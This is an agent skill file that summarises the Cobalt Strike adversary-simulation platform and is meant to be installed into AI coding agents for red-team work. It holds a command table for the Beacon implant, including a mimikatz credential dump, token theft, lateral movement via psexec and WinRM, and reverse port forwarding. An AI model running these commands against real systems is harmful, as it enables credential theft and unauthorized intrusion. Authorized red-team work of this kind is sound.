offensive-tools/c2/cobalt-strike/SKILL.md
Cobalt Strike: commercial adversary simulation platform with Beacon implant supporting HTTP/S, DNS, SMB, TCP, and Malleable C2 profiles. Use when operating professional red team engagements, simulating advanced threat groups, managing multi-operator teamserver infrastructure, or executing BOFs.
npx skillsauth add aeondave/malskill cobalt-strikeInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Commercial adversary simulation with Beacon implant.
./teamserver <ip> <password> [malleable-profile]
./cobaltstrike
| Command | Purpose |
|---------|---------|
| shell <cmd> | Run via cmd.exe |
| run <cmd> | Execute directly |
| powerpick <ps> | Unmanaged PowerShell |
| execute-assembly <dll> <args> | In-memory .NET execution |
| inline-execute <bof> | Execute BOF in Beacon |
| jump psexec <target> <listener> | Lateral movement via SMB |
| jump winrm64 <target> <listener> | Lateral via WinRM |
| steal_token <pid> | Token impersonation |
| mimikatz sekurlsa::logonpasswords | Kiwi credential dump |
| socks 1080 | SOCKS proxy |
| rportfwd <lp> <host> <rp> | Reverse port forward |
Profiles modify Beacon network fingerprint. Key sections: http-get, http-post, stage, process-inject.
./c2lint malleable-profile.profile
| File | When to load |
|------|--------------|
| references/ | Aggressor Script, BOF development, Malleable profile examples |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.